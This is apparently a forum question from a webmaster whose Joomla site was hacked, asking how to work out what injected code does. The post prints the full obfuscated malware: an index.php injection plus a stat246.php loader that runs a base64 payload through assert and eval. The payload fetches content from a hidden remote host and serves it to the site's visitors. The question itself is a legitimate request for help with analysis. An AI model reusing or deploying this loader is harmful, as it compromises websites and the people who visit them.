What is the best service to use for malware deobfuscation?

Question

PHP

My site was hacked and a foreign code was connected. How to find out what he is doing?
Site on Joomla. It was in index.php

/*24676145*/ if(is_object($_SESSION["__default"]["user"]) && !($_SESSION["__default"]["user"]->id)) {echo "
<script language=JavaScript id=scriptData ></script>
<script language=JavaScript src=/modules/mod_stats/stat246.php ></script>
";} /*24676145*/

And this is in stat246.php

$hnqkty="a"."\x73"."s".chr(101)."r"."t";
$vxuamn="b"."a"."s"."\x65"."6"."\x34"."\x5f"."\x64".chr(101)."\x63"."o"."d"."\x65";

@$hnqkty(
@$vxuamn(
'eval(base64_decode('DQo/Pjw/cGhwDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCj8+PD9waHANCg0KJEdMT0JBTFNbIkRFQlVHIl09JERFQlVHPTA7DQoNCmlmKCRERUJVRz49MykgeyANCglpbmlfc2V0KCJkaXNwbGF5X2Vycm9ycyIsVFJVRSk7DQoJaW5pX3NldCgiZXJyb3JfcmVwb3J0aW5nIiwgRV9BTEwgXiBFX05PVElDRSk7DQp9ZWxzZXsNCglAaW5pX3NldCgiZGlzcGxheV9lcnJvcnMiLEZBTFNFKTsNCglAaW5pX2FsdGVyKCJkaXNwbGF5X2Vycm9ycyIsRkFMU0UpOw0KfQ0KDQpAaW5pX3NldCgibG9nX2Vycm9ycyIsIEZBTFNFKTsNCkBpbmlfYWx0ZXIoImxvZ19lcnJvcnMiLCBGQUxTRSk7DQoNCkBzZXRfdGltZV9saW1pdCg3KTsNCg0KJHRpbWVzdGFydD10aW1lKCk7DQoNCiMjIyMjIyMjIw0KDQppZighZnVuY3Rpb25fZXhpc3RzKCJmaWxlX2dldF9jb250ZW50cyIpKXsNCmZ1bmN0aW9uIGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlKXsNCgkkY29udGVudD1pbXBsb2RlKCIiLGZpbGUoJGZpbGUpKTsNCiAJaWYoc3RybGVuKCRjb250ZW50KTwxKSB7cmV0dXJuIEZBTFNFO30NCglyZXR1cm4gJGNvbnRlbnQ7DQp9fQ0KDQppZighZnVuY3Rpb25fZXhpc3RzKCJmaWxlX3B1dF9jb250ZW50cyIpKXsNCkBkZWZpbmUoIkZJTEVfQVBQRU5EIiwgOCk7DQpmdW5jdGlvbiBmaWxlX3B1dF9jb250ZW50cygkZmlsZSwkY29udGVudD0iIiwkcGFybT0iIil7DQoJaWYoJHBhcm09PTh8fCRwYXJtPT0iRklMRV9BUFBFTkQiKXskZnA9Zm9wZW4oJGZpbGUsImEiKTt9DQoJZWxzZXskZnA9Zm9wZW4oJGZpbGUsInciKTt9DQoJaWYoJGZwKXsNCgkJaWYoZndyaXRlKCRmcCwkY29udGVudCk9PT1GQUxTRSl7cmV0dXJuIEZBTFNFO30NCgkJZmNsb3NlKCRmcCk7DQoJCXJldHVybiBzdHJsZW4oJGNvbnRlbnQpOw0KCX1lbHNle3JldHVybiBGQUxTRTt9DQp9fQ0KDQppZighZnVuY3Rpb25fZXhpc3RzKCJ1cmxfZ2V0X21pY3JvIikpew0KZnVuY3Rpb24gdXJsX2dldF9taWNybygkdXJsLCAkdGltZW91dD04LCAkREVCVUc9MCl7DQoNCglpZigkREVCVUc+PTMpIHtpbmlfc2V0KCJkaXNwbGF5X2Vycm9ycyIsVFJVRSk7fQ0KCWVsc2V7aW5pX3NldCgiZGlzcGxheV9lcnJvcnMiLEZBTFNFKTt9DQoJaW5pX3NldCgiZXJyb3JfcmVwb3J0aW5nIiwgRV9BTEwgXiBFX05PVElDRSk7DQoJaW5pX3NldCgibG9nX2Vycm9ycyIsIEZBTFNFKTsNCg0KCWlmKCFzdHJpc3RyKCR1cmwsIjovLyIpKSAkdXJsPSJodHRwOi8vIi4kdXJsOw0KCSMjIHNjaGVtZSxob3N0LHBvcnQsdXNlcixwYXNzLHBhdGgscXVlcnksZnJhZ21lbnQNCgkkYT1wYXJzZV91cmwoJHVybCk7DQoJaWYoZW1wdHkoJGFbcG9ydF0pKXskYVtwb3J0XT04MDt9DQoJaWYoZW1wdHkoJGFbcGF0aF0pKXskYVtwYXRoXT0iLyI7fQ0KDQoJJGFbaG9zdF09c3RyX3JvdDEzKCRhW2hvc3RdKTsNCgkkdXJsPSRhW3NjaGVtZV0uJzovLycuJGFbaG9zdF0uKCBlbXB0eSgkYVtwb3J0XSkgfHwgJGFbcG9ydF09PTgwID8iIjoiOnskYVtwb3J0XX0iKS4kYVtwYXRoXS4oZW1wdHkoJGFbcXVlcnldKT8iIjoiP3skYVtxdWVyeV19Iik7DQoNCiAgICAkcmVzPUZBTFNFOw0KDQogICAgaWYoIGZ1bmN0aW9uX2V4aXN0cygnY3VybF9pbml0JykgKXsNCglpZigoJHNoPWN1cmxfaW5pdCgkdXJsKSkpew0KCQljdXJsX3NldG9wdCgkc2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIFRSVUUpOw0KCQljdXJsX3NldG9wdCgkc2gsIENVUkxPUFRfVElNRU9VVCwgJHRpbWVvdXQpOw0KCQljdXJsX3NldG9wdCgkc2gsIENVUkxPUFRfQ09OTkVDVFRJTUVPVVQsICR0aW1lb3V0KTsNCgkJJHJlcz1jdXJsX2V4ZWMoJHNoKTsNCgkJY3VybF9jbG9zZSgkc2gpOw0KCX0NCiAgICB9DQogICAgZWxzZWlmKCBpbl9hcnJheShpbmlfZ2V0KCJhbGxvd191cmxfZm9wZW4iKSxhcnJheSgxLFRSVUUsIlRSVUUiLCJPbiIsIk9OIikpICl7IA0KCWluaV9zZXQoImRlZmF1bHRfc29ja2V0X3RpbWVvdXQiLCAkdGltZW91dCk7DQoJaWYoZnVuY3Rpb25fZXhpc3RzKCdmaWxlJykpew0KCQkkcmVzID0gaW1wbG9kZSgiIixmaWxlKCR1cmwpKTsgIyMgcGhwQWxsDQoJCS8vJHJlcyA9IGltcGxvZGUoIiIsZmlsZSgkdXJsLCBmYWxzZSwgc3RyZWFtX2NvbnRleHRfY3JlYXRlKGFycmF5KCdodHRwJyA9PiBhcnJheSgndGltZW91dCcgPT4gJHRpbWVvdXQpKSkpKTsgIyMgcGhwNQ0KCX0NCiAgICB9DQogICAgZWxzZWlmKCBmdW5jdGlvbl9leGlzdHMoJ2Zzb2Nrb3BlbicpICl7DQoJJG9sZF90aW1lX2xpbWl0PWluaV9nZXQoIm1heF9leGVjdXRpb25fdGltZSIpOyAjIyByZW1lbWJlcg0KCXNldF90aW1lX2xpbWl0KCR0aW1lb3V0KTsgIyMgb25seSB0aGlzIHRpbWVvdXQgcmVhbGx5IHdvcmsgDQoJaWYoKCRzaD1mc29ja29wZW4oJGFbaG9zdF0sICRhW3BvcnRdLCAkZXJybm8sICRlcnJzdHIsICR0aW1lb3V0KSkpew0KCQlzdHJlYW1fc2V0X3RpbWVvdXQoJHNoLCR0aW1lb3V0KTsgIyMgdGhpcyB0aW1lb3V0IG5vdCB3b3JrIA0KCQkkc3RyPSJHRVQiDQoJCQkuIiB7JGFbcGF0aF19Ii4oIWVtcHR5KCRhW3F1ZXJ5XSk/Ij97JGFbcXVlcnldfSI6IiIpLiIgSFRUUC8xLjBcclxuIg0KCQkJLiJIb3N0OiAiLiRhW2hvc3RdLihlbXB0eSgkYVtwb3J0XSl8fCRhW3BvcnRdPT04MD8nJzonOicuJGFbcG9ydF0pLiJcclxuIg0KCQkJLiJcclxuXHJcbiINCgkJOw0KCQlmd3JpdGUoJHNoLCAkc3RyKTsNCgkJJHJlcyA9ICIiOw0KICAgICAJCXdoaWxlKCFmZW9mKCRzaCkpDQoJCQl7ICRyZXMgLj0gZmdldHMoJHNoLCA0MDk2KTsgfQ0KCQlmY2xvc2UoJHNoKTsNCgkJJHJlcz1zdWJzdHIoJHJlcywgc3RycG9zKCRyZXMsIlxyXG5cclxuIikrNCk7DQoJfQkNCglzZXRfdGltZV9saW1pdCgkb2xkX3RpbWVfbGltaXQpOyAjIyByZWNvdmVyDQogICAgfQ0KDQogICAgaWYoc3RybGVuKCRyZXMpPDEpICRyZXM9RkFMU0U7DQoNCiAgICByZXR1cm4gJHJlczsNCn19DQoNCiMjIyMjIyMjIw0KDQokdXJsX3RvPSJceDY4Ii5jaHIoMTE2KS5jaHIoMTE2KS4iXHg3MCIuIjoiLiIvIi4iXHgyZiIuIjQiLiJceDc5Ii5jaHIoMTIyKS5jaHIoMTExKS5jaHIoMTIwKS4iYyIuIlx4NjQiLiJlIi4ieCIuY2hyKDEyMSkuImQiLiJceDY5Ii4iLiIuY2hyKDk3KS4iXHg3MiIuIlx4NjciLiIvIi5jaHIoMTA1KS5jaHIoMTAwKS4iXHgzNCIuY2hyKDQ2KS4iXHg3MCIuImgiLiJceDcwIjsNCg0KJHdyZGlyPSIiOw0KJEZMQUc9RkFMU0U7DQppZigkRkxBRz09PUZBTFNFICYmICgkd3JkaXI9Ii90bXAiKSAmJiBpc193cml0YWJsZSgkd3JkaXIpKSAkRkxBRz1UUlVFOw0KaWYoJEZMQUc9PT1GQUxTRSAmJiAoJHdyZGlyPSIvdmFyL3RtcCIpICYmIGlzX3dyaXRhYmxlKCR3cmRpcikpICRGTEFHPVRSVUU7DQppZigkRkxBRz09PUZBTFNFICYmIGZ1bmN0aW9uX2V4aXN0cygic3lzX2dldF90ZW1wX2RpciIpICYmICgkd3JkaXI9c3lzX2dldF90ZW1wX2RpcigpKSAmJiBpc193cml0YWJsZSgkd3JkaXIpKSAkRkxBRz1UUlVFOw0KaWYoJEZMQUc9PT1GQUxTRSAmJiAoJHdyZGlyPWluaV9nZXQoInVwbG9hZF90bXBfZGlyIikpICYmIGlzX3dyaXRhYmxlKCR3cmRpcikpICRGTEFHPVRSVUU7DQppZigkRkxBRz09PUZBTFNFICYmICgkd3JkaXI9aW5pX2dldCgic2Vzc2lvbi5zYXZlX3BhdGgiKSkgJiYgaXNfd3JpdGFibGUoJHdyZGlyKSkgJEZMQUc9VFJVRTsNCmlmKCRGTEFHPT09RkFMU0UgJiYgKGNvdW50KCR0bXA9c3RyZWFtX2dldF9tZXRhX2RhdGEoJGZwPXRtcGZpbGUoKSkpPjEgJiYgZmNsb3NlKCRmcCkgJiYgJHdyZGlyPWRpcm5hbWUoJHRtcFsidXJpIl0pKSAmJiBpc193cml0YWJsZSgkd3JkaXIpKSAkRkxBRz1UUlVFOw0KaWYoJEZMQUc9PT1GQUxTRSAmJiAoKCR0bXA9dGVtcG5hbSgxLDExMSkpIT09RkFMU0UgJiYgKCR3cmRpcj1kaXJuYW1lKCR0bXApKSAmJiB1bmxpbmsoJHRtcCkpICYmIGlzX3dyaXRhYmxlKCR3cmRpcikpICRGTEFHPVRSVUU7DQppZigkRkxBRz09PUZBTFNFICYmICgkd3JkaXI9Z2V0Y3dkKCkpICYmIGlzX3dyaXRhYmxlKCR3cmRpcikpICRGTEFHPVRSVUU7DQppZigkRkxBRz09PUZBTFNFKSB7ICR3cmRpcj0iIjsgaWYoJERFQlVHKSB7ZGllKCI8YnI+Wy1dIFRNUERJUiBub3Qgd3JpdGFibGUhIik7fSBlbHNlIHtkaWUoKTt9IH0NCi8vcHJpbnQgIjxicj4iLiR3cmRpcjsNCg0KLy8kd3JkaXI9c3RyX3JlcGxhY2UoYXJyYXkoIi8vIixjaHIoOTIpKSxhcnJheSgiLyIsIi8iKSwkd3JkaXIpOw0KDQokd3JwcmU9IiI7DQovL2lmKGVtcHR5KCR3cnByZSkpICR3cnByZT1pbmlfZ2V0KCJzZXNzaW9uLm5hbWUiKTsNCmlmKGVtcHR5KCR3cnByZSkpICR3cnByZT0ic2VzcyI7DQoNCiRzZWNyZXRrZXk9ZGlybmFtZShfX0ZJTEVfXykucGhwX3VuYW1lKCk7DQokZl9yZXMgID0gJHdyZGlyLiIvIi4kd3JwcmUuIl8iLm1kNSgkc2VjcmV0a2V5LiJqczJ2Iik7DQokZl9sYXN0ID0gJHdyZGlyLiIvIi4kd3JwcmUuIl8iLm1kNSgkc2VjcmV0a2V5LiJsYXN0MnYiKTsNCg0KDQojIyMjIyMjIyMNCg0KDQokcmVzPUZBTFNFOw0KDQppZiggDQoJKCAhZmlsZV9leGlzdHMoJGZfbGFzdCkgKQ0KCXx8DQoJKCAzNjAwIDwgKCR0aW1lc3RhcnQgLSAoaW50KWZpbGVfZ2V0X2NvbnRlbnRzKCRmX2xhc3QpKSApDQopIHsNCgkkcmVzPXVybF9nZXRfbWljcm8oJHVybF90bywgMyk7DQoJZmlsZV9wdXRfY29udGVudHMoJGZfcmVzLCAkcmVzKTsNCglmaWxlX3B1dF9jb250ZW50cygkZl9sYXN0LCAkdGltZXN0YXJ0KTsNCn0NCg0KaWYoICRyZXM9PT1GQUxTRSApIHsNCgkkcmVzPWZpbGVfZ2V0X2NvbnRlbnRzKCRmX3Jlcyk7DQp9DQoNCnByaW50ICRyZXM7DQoNCg=='));'));
## #################################################################################